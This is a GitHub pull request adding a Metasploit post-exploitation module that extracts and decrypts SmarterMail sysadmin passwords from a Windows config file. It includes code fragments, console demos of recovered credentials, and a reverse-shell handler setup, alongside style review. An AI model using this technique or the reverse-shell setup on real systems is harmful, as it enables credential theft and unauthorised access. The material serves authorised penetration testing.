Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Windows Gather SmarterMail Password Extraction post module #2934

Merged
merged 2 commits into from Feb 3, 2014

Conversation

@bcoles
Copy link
Contributor

bcoles commented Feb 1, 2014

Add Windows Gather SmarterMail Password Extraction post module.

Homepage: http://www.smartertools.com/smartermail/mail-server-software.aspx
Source: http://www.smartertools.com/smartermail/mail-server-download.aspx
Tested on: SmarterMail versions 10.7.4842 and 11.7.5136 (Windows 7)

Example Output

msf post(smartermail) > set VERBOSE false
VERBOSE => false
msf post(smartermail) > run

[+] 192.168.247.129 (WIN-7) - Found credentials. Username: 'admin' Password: 'metasploit_test_~!@#$%^&*()_+'
[*] Post module execution completed

Example Verbose Output

msf post(smartermail) > set VERBOSE true
VERBOSE => true
msf post(smartermail) > run

[*] 192.168.247.129 (WIN-7) - Checking for SmarterMail config file: C:\Program Files (x86)\SmarterTools\SmarterMail\Service\mailConfig.xml
[*] 192.168.247.129 (WIN-7) - Retrieving SmarterMail sysadmin password
[+] 192.168.247.129 (WIN-7) - Found credentials. Username: 'admin' Password: 'metasploit_test_~!@#$%^&*()_+'
[*] Post module execution completed
@darkoperator

This comment has been minimized.

Copy link
Contributor

darkoperator commented Feb 1, 2014

Checking it with rubocop for compliance with the Ruby Style guide and some mods I have seen @jvazquez-r7 I have seen request:

infidel02:Meterpreter-Scripts carlos$ rubocop -c rubocop-todo.yml post/windows/gather/smartermail.rb 
Inspecting 1 file
C
Offences:
post/windows/gather/smartermail.rb:1:1: C: Missing utf-8 encoding comment.
##
^
post/windows/gather/smartermail.rb:14:22: C: Surrounding space missing in default value assignment.
  def initialize(info={})
                     ^
post/windows/gather/smartermail.rb:15:11: C: Space inside parentheses detected.
    super( update_info( info,
          ^
post/windows/gather/smartermail.rb:15:24: C: Space inside parentheses detected.
    super( update_info( info,
                       ^
post/windows/gather/smartermail.rb:16:9: C: Align the parameters of a method call if they span more than one line.
        'Name'          => 'Windows Gather SmarterMail Password Extraction',
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
post/windows/gather/smartermail.rb:31:14: C: Space inside square brackets detected.
            [ 'URL', 'http://www.gironsec.com/blog/tag/cracking-smartermail/']
             ^
post/windows/gather/smartermail.rb:33:29: C: Space inside square brackets detected.
        'Platform'      => [ 'win' ],
                            ^
post/windows/gather/smartermail.rb:33:35: C: Space inside square brackets detected.
        'Platform'      => [ 'win' ],
                                  ^
post/windows/gather/smartermail.rb:34:29: C: Space inside square brackets detected.
        'SessionTypes'  => [ 'meterpreter' ]
                            ^
post/windows/gather/smartermail.rb:34:43: C: Space inside square brackets detected.
        'SessionTypes'  => [ 'meterpreter' ]
                                          ^
post/windows/gather/smartermail.rb:36:1: C: Extra empty line detected at body end.
post/windows/gather/smartermail.rb:42:19: C: Use def with parentheses when there are parameters.
  def decrypt_des encrypted
                  ^^^^^^^^^
post/windows/gather/smartermail.rb:48:5: C: Redundant `return` detected.
    return decipher.update(encrypted) + decipher.final
    ^^^^^^
post/windows/gather/smartermail.rb:55:41: C: Prefer single-quoted strings when you don't need string interpolation or special symbols.
    drive = session.fs.file.expand_path("%SystemDrive%")
                                        ^^^^^^^^^^^^^^^
post/windows/gather/smartermail.rb:83:20: C: Avoid the use of Perl-style backrefs.
    @username = "#{$1}" if data =~ /(.+)<\/sysAdminUserName>/
                   ^^
post/windows/gather/smartermail.rb:84:56: C: Avoid the use of Perl-style backrefs.
    @password = decrypt_des(Rex::Text.decode_base64("#{$1}")) if data =~ /(.+)<\/sysAdminPassword>/
                                                       ^^
post/windows/gather/smartermail.rb:84:101: C: Line is too long. [117/100]
    @password = decrypt_des(Rex::Text.decode_base64("#{$1}")) if data =~ /(.+)<\/sysAdminPassword>/
                                                                                                    ^^^^^^^^^^^^^^^^^
post/windows/gather/smartermail.rb:93:24: C: Prefer single-quoted strings when you don't need string interpolation or special symbols.
    if session.type != "meterpreter"
                       ^^^^^^^^^^^^^
post/windows/gather/smartermail.rb:94:101: C: Line is too long. [101/100]
      print_error "#{@host} (#{@comp}) - Only meterpreter sessions are supported by this post module"
                                                                                                    ^
post/windows/gather/smartermail.rb:115:101: C: Line is too long. [107/100]
    print_good "#{@host} (#{@comp}) - Found credentials. Username: '#{@username}' Password: '#{@password}'"
                                                                                                    ^^^^^^^
post/windows/gather/smartermail.rb:124:3: C: Source files should end with a newline (\n).
end
  ^
1 file inspected, 21 offences detected
#
# Retrieve username and decrypt encrypted password string from the config file
#
def get_smartermail_creds(path)

This comment has been minimized.

Copy link
@darkoperator

darkoperator Feb 1, 2014

Contributor

You are using Class variables, I believe they should be avoided, try modifying the method to return a hash maybe with the values and check the returned values.

+  def get_smartermail_creds(path)
 +    vprint_status "#{@host} (#{@comp}) - Retrieving SmarterMail sysadmin password"
 +    begin
 +      data = read_file("#{path}") || ''
 +    rescue Rex::Post::Meterpreter::RequestError => e
 +      print_error "#{@host} (#{@comp}) - Failed to download #{path} - #{e}"
 +      return
 +    end
 +    if data.nil?
 +      print_error "#{@host} (#{@comp}) - Configuration file is empty."
 +      return
 +    end
 +    @username = "#{$1}" if data =~ /(.+)<\/sysAdminUserName>/
 +    @password = decrypt_des(Rex::Text.decode_base64("#{$1}")) if data =~ /(.+)<\/sysAdminPassword>/
 +  end

This comment has been minimized.

Copy link
@bcoles

bcoles Feb 1, 2014

Author Contributor

Yeah makes sense. I was just being lazy. I'll change it to a hash.

def run
@host = "#{session.sock.peerhost}"
@comp = "#{sysinfo['Computer']}"
if session.type != "meterpreter"

This comment has been minimized.

Copy link
@darkoperator

darkoperator Feb 1, 2014

Contributor

You already specified in SessionTypes Meterpreter why check here for it again?

This comment has been minimized.

Copy link
@bcoles

bcoles Feb 1, 2014

Author Contributor

Just copied and pasted for consistency. This is used by 9 other post modules. I'll remove it.

This comment has been minimized.

Copy link
@darkoperator

darkoperator Feb 1, 2014

Contributor

Yeah I have done the same but have noticed that some of the *-r7 guys are following more and more the Ruby Style guide that is why I mentioned it, could be a non issue but @jvazquez-r7 should point us in the right direction he is the one that introduced me to it :)

# Find the config file, extract the encrypted password and decrypt it
#
def run
@host = "#{session.sock.peerhost}"

This comment has been minimized.

Copy link
@darkoperator

darkoperator Feb 1, 2014

Contributor

Again no need to use class variables should be avoided, sysinfo is available to all module methods so there is no need to save the information in one.

This comment has been minimized.

Copy link
@bcoles

bcoles Feb 1, 2014

Author Contributor

That's true. The class variable makes it easier to read. I'll change it.

@darkoperator

This comment has been minimized.

Copy link
Contributor

darkoperator commented Feb 1, 2014

link to rubocop https://github.com/bbatsov/rubocop and the yml file can be found here for reference https://www.dropbox.com/s/9pbuy35ggodus1v/rubocop-jv-style.yml

@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented Feb 1, 2014

Made suggested changes in commit 62dca11:

  • Rubocop now passes with 0 offences
  • Class variables are no longer used
  • Credentials are returned from get_smartermail_creds(path) in a hash
  • Session type is no longer verified as 'meterpreter'

🔨🐢

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Feb 2, 2014

I'll be processing this before Monday comes, thanks.

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Feb 3, 2014

Made some changes to make sure it supports shell sessions. Will be merged in a bit.

Demos (for both shell & meterpreter session types):

$ msfconsole -q
msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf exploit(handler) > set lhost 10.0.1.76
lhost => 10.0.1.76
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > set exitonsession false
exitonsession => false
msf exploit(handler) > run -j
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.76:4444 
[*] Starting the payload handler...
msf exploit(handler) > [*] Command shell session 1 opened (10.0.1.76:4444 -> 10.0.1.88:49552) at 2014-02-02 23:38:57 -0600

msf exploit(handler) > use post/windows/gather/credentials/smartermail 
msf post(smartermail) > set session 1
session => 1
msf post(smartermail) > run

[+] 10.0.1.88 - Found Username: 'admin' Password: 'thisismypassword'
[*] Post module execution completed
msf post(smartermail) > exit -y
AUS-MAC-1039:msf wchen$ msfconsole -q
msf > use exploit/multi/handler 
msf exploit(handler) > run

[*] Started reverse handler on 10.0.1.76:4444 
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.0.1.88
[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.88:49558) at 2014-02-02 23:39:43 -0600

meterpreter > run post/windows/gather/credentials/smartermail 

[+] 10.0.1.88 (WIN-6NH0Q8CJQVM) - Found Username: 'admin' Password: 'thisismypassword'
meterpreter >
wchen-r7 added a commit that referenced this pull request Feb 3, 2014
@wchen-r7 wchen-r7 merged commit 62dca11 into rapid7:master Feb 3, 2014
1 check passed
1 check passed
default The Travis CI build passed
Details
@bcoles bcoles deleted the bcoles:smartermail_gather_creds branch Feb 3, 2014
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Linked issues

Successfully merging this pull request may close these issues.

None yet

3 participants
You can’t perform that action at this time.